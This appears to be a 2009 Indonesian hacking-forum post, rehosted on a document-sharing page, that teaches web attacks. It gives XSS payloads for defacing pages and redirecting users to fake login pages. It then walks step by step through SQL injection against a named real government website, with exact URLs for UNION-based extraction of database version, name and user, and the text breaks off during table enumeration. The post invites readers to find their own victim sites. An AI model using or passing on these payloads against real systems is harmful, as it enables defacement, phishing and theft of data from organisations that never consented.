• Embed Doc
  • Copy Link
  • Readcast
  • Collections
  • CommentGo Back
Download
 
hacking web main.php diknas.go.id
gungbaster 20-05-2009, 09:07 PMdi karenakan banyak yg minat tentang hacking web iseng2 gue copasin aja teknik2 hack web dari beberapa source (sebagian teknik hacking ini masih up to date sebagian dah di patch ama admin situs yg di serang tapi metodenya masih bisa kok) >:D<1st blood tentang xss neh :Dmungkin ada yg nanya apakah Xss ituXSS adalah suatu cara memasukan code/script HTML kedalam suatu web site dandijalankan melalui browser di client. Xss mungkin jenis serangan yang paling cupu bagiseorang attacker yang tidak mempunyai Bug atau exploit. dikarenakan Xss hanyamembutuhkan sebuah browser saja.1. pertamanya seh kita kudu cari situs yg vurn (bisa di hacking dengan teknik xss)mencari situs yang vulner emang gampang-gampang susah, karena kebanyakan situsudah memfilternya, tapi kita bisa menggunakan google untuk cari neh vurn :DBetul, kita menggunakan Dork dengan query inurl:"search.php?q="atau jika manual kita bisa mencoba fasilitas sebuah site seperti Guest book, Search Box, Shoutboxes, Commentatau forum.2. Nah sekarang jika sudah kita ketemukan target kita akan mencoba mengexploit site itudulu, apakah site itu mempunyai vulner terhadap XSS.
 
Ok sekarang kita coba menginjeksi dengan kode : <script>alert("XSS")</script>3.http://i379.photobucket.com/albums/oo232/h4ck3v1l/xss.jpg << klo muncul gambar inituh situs vurn buat di xss4. tapi apakah sekedar itu saja, sekarang kita coba dengan metoda lain, apakah site itu bisa dideface bro? bisa saja, sekarang kita coba bagaimana mengattack site yang vulner itu ok.dengan penyisipan tag IMG SCR pada sebuah url atau pada comment sekali.Apa itu IMG SCR tu bro? IMG SCR itu adalah semacam Tag pemangilan gambar darisuatu link tertentu untuk ditampilkan kepada website tersebut. pemanggilan tag itu dengan code sebagai berikut<html><body><IMG SRC="http://Situs-Upload.com/Gambar_deface_lo.Jpeg"></body></html>5. tapi terlebih dahulu gambar deface lo bisa upload dulu ke hostingan, misalnya ke photobucket atau flickr. setelah ituganti url nya dengan url gambar tadi.hingga menjadi seperti seperti berikut : <html><body><IMGSRC="http://Photobucket/Gambar_deface_gw.Jpeg"></body></html>6. nah setelah siapkemudian sisipkan pada URl situs yang mempunyai bug tadi hingga menjadi seperticontoh : http://www.Target.ac.id/search/?q=<html><body><IMGSRC="http://Photobucket/Gambar_deface_gw.Jpeg"></body></html>7. kemudian apayang terjadi???maka situs yang mempunyai bug tadi akan berubah tampilan menjadi gambar yang kitaupload tadi :D8. metode penyisipan lain selain dengan gambar juga bisa kita lakukan misalnya denganfile flash (SWF) hingga serangan ini mempunyai style tersendiri contoh code yg digunakan seperti ini >>> <EMBED SRC="http://site.com/xss.swfdengan penyisipan tagtersebut maka akan langsung meng exekusi file SWF pada link tersebut.atau mungkin dengan melakukan redirect ke situs lain misalnya dengan code:<script>window.open( "http://www.google.com/" )</script>9. yg maka jika dieksekusi ,kita akan di redirect ke situs google, mungkin biasa aja, tapi gimana klo dibawa ke suatusitus login palsu misalnya fake login yahoo, mungkin bisa berbahaya juga tuh. gue rasayg lebih master pasti tau apa sebanya ini :DAurel 666@jasakom.comteknik ke 2 menunya adalah sql injection (targetnya adalahhttp://www.gunungkidulkab.go.id (http://www.gunungkidulkab.go.id/) << tapi neh webdah di patch adminnya (dolo neh web ancur banget dah banyak yg jebolin sampe gak keitung) :( jadi untuk experiment sendiri cari aja web korbannya sendiri1. Lakukan pengecekan dengan memasukkan karakter tanda petik satu single_quote ( ' )dan mengujinya dengan operator logika ( AND ).http://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=870'2.Halaman akan menampilkan pesan error Fatal error: Call to a member functionMoveNext() on a non-object in
 
/var/www/sites/gunungkidulkab.go.id/gunungkidulkab.go.id/subdomains/www/html/program/publish_content.php on line 225berarti neh situs vurn3.http://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=870+and+1=1http://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=870+and+1=6Hasil Uji :-Pada pengecekan AND+1=1 yang dihasilkan adalah TRUE, maka halaman akan tampilsecara normal.-Pada pengecekan AND+1=6 hasilnya adalah FALSE, halaman akan menampilkan pesankesalahan (tidak berjalan normal).4. Memeriksa jumlah field dari suatu tabel. Perintah yang digunakan adalahORDER+BY+num, lakukan penambahan/increment pada variabel num. Parameternyaadalah jika field masih tersedia maka halaman akan berjalan normal, namun sebaliknya jika field tidak tersedia maka halaman akan menampilkan pesan error. Pada contoh kaliini ditemukan batas akhir field sampai pada angka 14.http://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=870+order+by+14--Mengapa ada tanda -- diakhir perintah? Tanda -- adalah parameter komentar  pada sintaks sql, bisa juga menggunakan /*. Sesuai dengan fungsinya kita akan men-setkomentar terhadap sintaks setelah klausa WHERE. Kebetulan pada contoh kasus kali ini,setelah klausa WHERE terdapat perintah sql yg lain entah itu ORDER atau LIMIT.Untuk itu digunakan parameter komentar agar perintah sql tersebut tidak dijalankansehingga kita mendapatkan pesan error jika field yang di ORDER tidak tersedia.Coba bandingkan jika parameter komentar tidak digunakan, meskipun kita melakukanORDER BY 1 dan ORDER BY 100 halaman akan tetap menampilkan pesan error. Kalaukejadiannya seperti ini dari mana kita bisa mengetahui jumlah field yang di-select??5. Mengeluarkan nomor field untuk menampilkan informasi yang diinginkan. Perintahyang digunakan adalah UNION+ALL+SELECT+no_field+no_field+.... sampai akhir :Dhttp://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=null+union+all+select+1,2,3,4,5,6,7,8,9,10,11,1 2,13,14--6. Pada contoh kali ini, variabel id kita beri nilai null agar angka-angka yang kita deklarasikan keluar, atau bisa jugamenggunakan tanda minus (id=-870). Dari angka-angka yang tercetak pada halaman web,kita akan mengeluarkan informasi dari versi mysql, nama database dan nama user.http://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=-870+union+all+select+1,2,3,4,5,concat_ws(0x2B,version(),database(),user()),7,8,9,10,11,12,13,14--7. Selanjutnya kita akan mengeluarkannama-nama tabel dengan perintahUNION+ALL+SELECT+no_field+no_field+GROUP_CONCAT(TABLE_NAME)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE(). Gunakan klausa WHERETABLE_SCHEMA=DATABASE(), agar tabel yang keluar adalah tabel dari databaseyang digunakan. Kalau Anda ingin melihat seluruh tabel dari seluruh database klausa
of 00

Leave a Comment

You must be to leave a comment.
Submit
Characters: ...
You must be to leave a comment.
Submit
Characters: ...